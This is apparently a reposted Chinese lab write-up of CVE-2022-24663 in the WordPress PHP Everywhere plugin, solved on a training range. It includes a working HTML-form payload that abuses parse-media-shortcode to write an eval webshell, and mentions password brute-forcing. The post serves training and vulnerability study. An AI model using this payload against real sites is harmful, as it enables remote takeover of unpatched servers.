WordPress PHP Everywhere <= 2.0.3 远程代码执行漏洞(CVE-2022-24663)

news2024/9/23 23:33:44

前言

CVE-2022-24663 是一个影响 WordPress 插件 PHP Everywhere 的远程代码执行(RCE)漏洞。PHP Everywhere 插件允许管理员在页面、文章、侧边栏或任何 Gutenberg 块中插入 PHP 代码,以显示基于评估的 PHP 表达式的动态内容。然而,这个漏洞使得任何订阅者都可以通过发送带有 shortcode 参数设置为 PHP Everywhere 的请求来执行任意 PHP 代码。

漏洞细节:

  1. CVE-2022-24663: 这个漏洞允许任何订阅者通过在请求中使用 shortcode 参数来执行任意 PHP 代码。利用此漏洞,攻击者可以注册成为网站的订阅者,然后通过发送特定的请求来在目标站点上执行恶意 PHP 代码,从而可能完全接管站点​ (BleepingComputer)​​ (Threatpost)​。

  2. CVE-2022-24664: 此漏洞允许拥有编辑文章权限的贡献者通过插件的元框执行任意 PHP 代码。攻击者可以创建一篇文章,添加 PHP 代码到元框,然后预览文章以执行代码​ (BleepingComputer)​​ (Threatpost)​。

  3. CVE-2022-24665: 此漏洞允许拥有编辑文章权限的贡献者通过插件的 Gutenberg 块执行任意 PHP 代码。默认情况下,插件的这个设置并不是仅限管理员使用,这使得贡献者级别的用户也可以利用该漏洞​ (BleepingComputer)​​ (Threatpost)​。

防护措施:

Wordfence 的团队在 2022 年 1 月 4 日发现了这些漏洞,并通知了 PHP Everywhere 的作者。开发者于 2022 年 1 月 10 日发布了 3.0.0 版本的安全更新,该更新通过重大代码重写修复了这些漏洞。建议所有 PHP Everywhere 用户立即升级到最新版本以避免受到攻击​ (BleepingComputer)​​ (Threatpost)​。

总之,CVE-2022-24663 是一个严重的漏洞,因为它可以被任何具有订阅者权限的用户利用,从而导致网站完全被接管。管理员应该确保插件和网站保持最新状态,以防止此类漏洞的利用。

春秋云镜靶场是一个专注于网络安全培训和实战演练的平台,旨在通过模拟真实的网络环境和攻击场景,提升用户的网络安全防护能力和实战技能。这个平台主要提供以下功能和特点:

实战演练:

提供各种网络安全攻防演练场景,模拟真实的网络攻击事件,帮助用户在实际操作中掌握网络安全技术。
场景涵盖Web安全、系统安全、网络安全、社工攻击等多个领域。

漏洞复现:

用户可以通过平台对已知的安全漏洞进行复现,了解漏洞的产生原因、利用方法和修复措施。
通过实战操作,帮助用户掌握漏洞利用和防护的技能。

教学培训:

提供系统化的网络安全课程,从基础到高级,覆盖多个安全领域,适合不同水平的用户。
包含理论讲解和实战操作,帮助学员全面提升网络安全知识和实战能力。

竞赛与评测:

定期举办网络安全竞赛,如CTF(Capture The Flag)比赛,激发学员的学习兴趣和动力。
提供个人和团队的安全能力评测,帮助学员了解自己的安全技能水平。

资源共享:

平台提供丰富的学习资源,包括教程、工具、案例分析等,方便用户随时查阅和学习。
用户可以在社区中分享经验和资源,互相交流和学习。

春秋云镜靶场适合网络安全从业人员、学生以及对网络安全感兴趣的个人,通过在平台上进行不断的学习和实战演练,可以有效提升网络安全技能和防护能力。

介绍

PHP Everywhere 是一个 WordPress 插件,允许用户在 WordPress 页面、文章、侧边栏或任何 Gutenberg 块中插入和执行 PHP 代码。这个插件非常适合那些需要在其网站上显示基于 PHP 动态内容的用户。以下是 PHP Everywhere 的一些主要功能和特点:

主要功能

  1. 在页面和文章中嵌入 PHP

    • 用户可以在页面和文章的内容中直接嵌入 PHP 代码,这对于需要动态生成内容的网站来说非常有用。
  2. 侧边栏小工具支持

    • 通过侧边栏小工具,用户可以在网站的侧边栏中插入和执行 PHP 代码,实现动态内容显示。
  3. Gutenberg 块支持

    • 插件支持 Gutenberg 编辑器,允许用户在 Gutenberg 块中嵌入 PHP 代码,使得在区块编辑器中管理 PHP 代码变得简单。
  4. 短代码支持

    • 插件允许使用短代码来执行 PHP 代码,用户只需将 PHP 代码放在 [php][/php] 标签之间即可。
  5. 灵活的配置

    • 插件提供灵活的配置选项,用户可以根据需要启用或禁用 PHP 代码在不同内容类型中的执行。

安装和使用

  1. 安装插件

    • 用户可以从 WordPress 插件库中搜索并安装 PHP Everywhere 插件,或者通过上传插件 ZIP 文件进行手动安装。
  2. 启用插件

    • 安装后,用户需要在 WordPress 管理后台启用插件,然后在设置中配置 PHP 代码的执行选项。
  3. 嵌入 PHP 代码

    • 在需要嵌入 PHP 代码的地方使用短代码 [php][/php],或者通过 Gutenberg 块和侧边栏小工具插入 PHP 代码。

使用场景

  • 动态内容生成

    • 对于需要根据不同条件生成动态内容的网站,例如显示用户特定信息或从数据库中获取和显示数据,PHP Everywhere 提供了简便的解决方案。
  • 自定义功能

    • 网站管理员可以使用 PHP Everywhere 实现一些自定义功能,例如显示特定时间的内容、执行定时任务等。
  • 插件和主题开发

    • 对于开发者来说,PHP Everywhere 使得在插件和主题开发过程中可以直接在 WordPress 中测试和调试 PHP 代码,而无需在外部环境中进行复杂的部署。

总结

PHP Everywhere 插件为 WordPress 用户提供了在网站中嵌入和执行 PHP 代码的能力,极大地增强了 WordPress 的灵活性和功能性。无论是对于需要动态内容的网站,还是对于开发者来说,这都是一个非常有用的工具。用户应确保从官方渠道下载并定期更新插件,以确保安全性和功能的稳定性。

漏洞复现

打开靶场

靶场页面如下

WordPress 的后台是 /wp-admin,URL 拼接上访问

网上搜索默认用户名密码 admin/password 不对,只能爆破了,得到 test/test

登录后来到这个页面 

这里补充一下关于这个 WordPress 插件的知识:

PHP Everywhere 是一个 WordPress 插件,它允许在 WordPress 网站的任意位置(如页面、帖子、小工具和模板文件)执行 PHP 代码。这个插件对于希望在其网站上嵌入动态内容的开发人员和高级用户非常有用。然而,它也带来了安全风险,尤其是在权限控制不当的情况下。

功能和使用

PHP Everywhere 插件的主要功能是通过短代码 [php_everywhere] 使用户能够在 WordPress 内容中插入和执行 PHP 代码。以下是其使用示例:

[php_everywhere]
<?php
echo "Hello, World!";
?>
[/php_everywhere]

当这个短代码被解析时,PHP 代码将被执行,并在前端输出“Hello, World!”。 

主要特性

  1. 短代码支持:使用 [php_everywhere] 短代码在帖子、页面和小工具中执行 PHP 代码。
  2. PHP 执行:允许在 WordPress 编辑器中直接编写和运行 PHP 代码。
  3. 动态内容:可通过 PHP 生成动态内容,例如根据用户角色显示不同的内容。

安装与设置

  1. 安装

    • 通过 WordPress 仪表板中的插件安装功能搜索“PHP Everywhere”并安装激活。
    • 或者从 WordPress 插件库下载插件,并通过 FTP 上传到 wp-content/plugins/ 目录,然后在仪表板中激活插件。
  2. 使用

    • 在需要执行 PHP 代码的地方添加 [php_everywhere] 短代码,并在其中编写 PHP 代码。
    • 例如,在页面或帖子中添加:
[php_everywhere]
<?php
echo date('Y-m-d H:i:s');
?>
[/php_everywhere]

安全性考量

使用 PHP Everywhere 插件会带来以下安全风险:

  1. 代码执行:允许用户执行任意 PHP 代码,如果没有适当的权限控制,恶意用户可能会执行有害代码。
  2. SQL 注入:通过 PHP 代码直接访问数据库,可能会引入 SQL 注入漏洞。
  3. 文件包含攻击:不安全的文件包含可能导致任意文件读取或远程代码执行。

安全实践

  1. 限制权限:仅授予可信任的管理员用户权限来使用 PHP Everywhere 插件。
  2. 输入验证:验证和清理所有用户输入,防止注入攻击。
  3. 代码审查:定期审查和测试使用的 PHP 代码,确保没有安全漏洞。
  4. 备份:定期备份网站,以防万一遭受攻击,可以迅速恢复。

示例场景

假设你管理一个 WordPress 网站,并希望在首页上显示最新的文章列表,但文章的显示方式需要定制化,而默认的 WordPress 小工具无法满足需求。通过 PHP Everywhere 插件,可以编写自定义 PHP 代码来查询并显示最新的文章:

[php_everywhere]
<?php
$recent_posts = wp_get_recent_posts(array('numberposts' => 5));
foreach ($recent_posts as $post) {
    echo '<div><a href="' . get_permalink($post['ID']) . '">' . $post['post_title'] . '</a></div>';
}
?>
[/php_everywhere]

这个代码段将在页面上显示最新的五篇文章,并链接到相应的文章页面。 

总结

PHP Everywhere 插件在 WordPress 中提供了强大的功能,允许用户在任意位置执行 PHP 代码,从而实现更高的灵活性和定制化。然而,由于其潜在的安全风险,必须小心使用,确保适当的权限控制和安全措施。通过遵循安全实践,可以有效地利用这个插件的强大功能,同时保护网站的安全性。

看完了现在来构造 payload 

<form action="http://eci-2zedi3cdem4rj2z0ju4h.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php" method="post">
      <input name="action" value="parse-media-shortcode" />
      <textarea name="shortcode">[php_everywhere] <?php file_put_contents("/var/www/html/webshell.php",base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==")); ?>[/php_everywhere]</textarea>
      <input type="submit" value="Execute" />
</form>
  • <form> 标签:定义了一个表单,使用 POST 方法提交数据到指定的 URL,即 http://eci-2zedi3cdem4rj2z0ju4h.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php
  • action 属性:指定表单数据提交的目标 URL。
  • method="post":使用 POST 方法提交数据,这通常用于发送包含敏感信息的数据。
  • <input> 标签:定义了一个隐藏的输入字段,提交时会发送名为 action 的参数,其值为 parse-media-shortcode
  • name="action":指定输入字段的名称。
  • value="parse-media-shortcode":指定输入字段的值。
  • <textarea> 标签:定义了一个多行文本输入字段,提交时会发送名为 shortcode 的参数。
  • name="shortcode":指定文本区域的名称。
  • 内容:在 textarea 中包含一个 [php_everywhere] 短代码(Shortcode),其中嵌入了 PHP 代码。
    • <?php ... ?>:PHP 代码块。
    • file_put_contents("/var/www/html/webshell.php", base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==")):这个 PHP 代码会在服务器上创建或覆盖 /var/www/html/webshell.php 文件,其内容是 base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==") 的解码结果。
    • Base64 解码结果<?php @eval($_POST['shell']); ?>,这是一个 Web Shell,允许攻击者通过 POST 请求发送 PHP 代码来远程执行。

右键检查随便选中一段 HTML 内容,点击修改属性 

删除并复制粘贴 payload 

我们设置的 payload 需要手动点击提交,所以点击按钮 

可以看到 success 

使用蚁剑远程连接 

成功拿到 flag 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1915422.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

FreeCAD: 将STL格式文件转换为step格式文件的记录

首先我们需要下载开源的FreeCAD软件&#xff0c;官网链接如下&#xff1a; FreeCAD: Your own 3D parametric modeler 傻瓜式安装&#xff0c;跳过~ FreeCAD 是一款免费的开源CAD软件&#xff0c;支持多种文件格式转换&#xff0c;包括STL到STEP。 步骤&#xff1a; 打开Free…

PTrade常见问题系列7

获取可转债数据为空。 量化交易内&#xff0c;获取可转债标的行情&#xff0c;提示报错12319*.SZ不支持。 1、建议客户在研究内执行get_price&#xff0c;返回无数据&#xff1b; 2、怀疑asset.pk内不存在该可转债代码&#xff0c;再研究内执行import pandas as pd df pd.re…

前端使用pinia中存入的值

导入pinia,创建pinia实例 使用pinia中的值

Rust: 高性能序列化库Fury PK bincode

在序列化库中&#xff0c;传统的有Json,XML&#xff0c;性能好的有thrift&#xff0c;protobuf等。 对于二进制库来讲&#xff0c;据Fury官网的介绍&#xff0c;Fury性能要远远好于protobuf&#xff0c;且不象protobuf还需要定义IDL(即写.proto文件)&#xff0c;非常轻便&#…

数据库-ubuntu环境下安装配置mysql

文章目录 什么是数据库&#xff1f;一、ubuntu环境下安装mysql二、配置mysql配置文件1.先登上root账号2.配置文件的修改show engines \G; mysql和mysqld数据库的基础操作登录mysql创建数据库显示当前数据库使用数据库创建表插入students表数据打印students表数据select * from …

【ArcGIS 小技巧】为国空用地字段设置属性域,快速填充属性值并减少出错

属性域属性是描述字段类型可用值的规则。可用于约束表或要素类的任意特定属性中的允许值。——ArcGIS Pro 帮助文档 简单理解属性域&#xff1a;对于一个含义为性别的字段&#xff0c;我们一般会给的属性值有男、女两种。我们可以将这两种属性值制作成属性域并指定给该字段&…

05STM32EXIT外部中断中断系统

STM32EXIT外部中断&中断系统 中断系统中断触发条件&#xff1a;中断处理流程和用途&#xff1a; STM32中断NVIC嵌套中断向量控制器基本结构 中断系统 中断触发条件&#xff1a; 对外部中断来说&#xff0c;可以是引脚发生了电平跳变 对定时器来说&#xff0c;可以是定时的…

nginx初理解

没有ngix时&#xff0c;有两台服务器&#xff0c;供访问 1. 现在有两台服务器上同样的路径下都放了一个&#xff0c; 都能通过ip加端口访问到页面 后端项目 &#xff08;查看tomcat中的配置中的 server.xml&#xff0c;能找到项目路径&#xff09; tomacat 也都有 两个…

【人工智能】Transformers之Pipeline(概述):30w+大模型极简应用

​​​​​​​ 目录 一、引言 二、pipeline库 2.1 概述 2.2 使用task实例化pipeline对象 2.2.1 基于task实例化“自动语音识别” 2.2.2 task列表 2.2.3 task默认模型 2.3 使用model实例化pipeline对象 2.3.1 基于model实例化“自动语音识别” 2.3.2 查看model与task…

Vue2 基础十Vuex

代码下载 Vuex 概述 组件之间共享数据的方式&#xff1a; 父组件向子组件传值&#xff0c;是以属性的形式绑定值到子组件&#xff08;v-bind&#xff09;&#xff0c;然后子组件用属性props接收。子组件向父组件传值&#xff0c;子组件用 $emit() 自定义事件&#xff0c;父组…

Collections集合工具类简介

Collections集合工具类 特点&#xff1a;构造私有&#xff0c;方法都是静态的&#xff0c;通过类名直接调用 static <T> boolean addAll(Collection<? super T> c, T... elements) 作用&#xff1a;批量添加元素 public class Test {public static void main(S…

联想拯救者Y7000 IRX9 笔记本接口功能介绍

适用机型&#xff1a;Legion Y7000 IRX9; 83JJ&#xff1b; USB&#xff08;3.2 Gen 1&#xff09;Type-接口摄像头开关组合音频插孔 多用于USB Type-C接口 以太网接口 多用途USB Type-C接口&#xff08;支持USB Power Delivery&#xff09;HDMI接口USB&#xff08;3.2 Gen 1&…

C++:缺省参数|函数重载|引用|const引用

欢迎来到HarperLee的学习笔记&#xff01; 博主主页传送门&#xff1a;HarperLee的博客主页 想要一起进步的uu可以来后台找我哦&#xff01; 一、缺省参数 1.1 缺省参数的定义 缺省参数&#xff1a;是声明或定义函数时为函数的参数指定⼀个缺省值。在调用该函数时&#xff0c;…

《系统架构设计师教程(第2版)》第11章-未来信息综合技术-06-云计算(Cloud Computing) 技术概述

文章目录 1. 相关概念2. 云计算的服务方式2.1 软件即服务 (SaaS)2.2 平台即服务 (PaaS)2.3 基础设施即服务 (IaaS)2.4 三种服务方式的分析2.4.1 在灵活性2.4.2 方便性方 3. 云计算的部署模式3.1 公有云3.2 社区云3.3 私有云3.4 混合云 4. 云计算的发展历程4.1 虚拟化技术4.2 分…

在mysql中delete和truncated的相同点和区别点

相同点 删除数据&#xff1a;两者都会删除表中的数据。影响数据&#xff1a;两者都不删除表结构&#xff0c;只影响表中的数据。 区别点 操作方式&#xff1a; DELETE&#xff1a;逐行删除数据&#xff0c;可以使用 WHERE 子句来指定删除的条件。如果不加 WHERE 子句&#…

数据结构day6链式队列

主程序 #include "fun.h" int main(int argc, const char *argv[]) { que_p Qcreate(); enqueue(Q,10); enqueue(Q,20); enqueue(Q,30); enqueue(Q,40); enqueue(Q,50); show_que(Q); dequeue(Q); show_que(Q); printf(&qu…

聊一聊中小企业如何开展持续交付

持续交付的定义&#xff1a; 持续交付&#xff08;Continuous Delivery&#xff0c;简称CD&#xff09;是一种软件工程实践&#xff0c;旨在让软件产品的产出过程在一个短周期内完成&#xff0c;以保证软件可以稳定、持续地保持在随时可以发布的状况。它的核心目标在于加快软件…

Python导包问题

文章目录 1问题背景2参考资料及分析3可以兼顾的方法 1问题背景 需要在当前文件中导入当前文件的上级目录下某个文件夹中的文件&#xff0c;如下图所示 即在CBOW.py文件中导入utils\Embedding.py文件中的类&#xff1b; 2参考资料及分析 如何将Python的上级目录的文件导入&am…

【ESP32】打造全网最强esp-idf基础教程——16.SmartConfig一键配网

SmartConfig一键配网 一、SmartConfig知识扫盲 在讲STA课程的时候&#xff0c;我们用的是代码里面固定的SSID和密码去连接热点&#xff0c;但实际应用中不可能这么弄&#xff0c;我们得有办法把家里的WiFi SSID和密码输入到设备里面去&#xff0c;对于带屏带输入设备还…

SR-IOV学习笔记

参考&#xff1a;《深入浅出DPDK》&前人的各种博客 SR-IOV全称Single Root IO Virtualization&#xff0c;单根虚拟化(多么高大上的名字>.<)&#xff0c;是 Intel 在 2007年提出的一种基于硬件的虚拟化解决方案。 虚拟化背景 那什么又是虚拟化呢&#xff1f;抽象来…